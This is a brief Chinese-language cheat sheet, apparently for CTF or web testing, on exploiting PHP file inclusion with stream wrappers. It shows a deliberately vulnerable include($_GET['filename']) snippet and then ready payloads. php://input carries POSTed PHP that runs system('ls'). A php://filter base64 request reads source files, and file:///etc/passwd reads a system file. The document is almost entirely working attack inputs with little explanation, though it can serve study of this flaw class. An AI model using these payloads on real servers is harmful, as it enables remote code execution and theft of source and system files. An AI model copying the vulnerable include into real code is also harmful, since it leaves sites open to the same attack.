目前常用:
1、php://input
存在文件包含:

1
2
3
4
<?php
error_reporting(0);
include($_GET['filename']);
?>

那么可以

1
?filename=php://input

然后post传递要执行的php代码,如

1
<?php system("ls");?>

文件包含配合伪协议实现任意代码|命令执行。
2、php://filter
读取文件,当存在文件包含时
比如

1
2
$file=key.php;
include($file);

就可以

1
?filename=php://filter/read=convert.base64-encode/resource=key.php

进行读取这个包含的文件。
3、file://
访问本地文件系统

1
?filename=file:///etc/passwd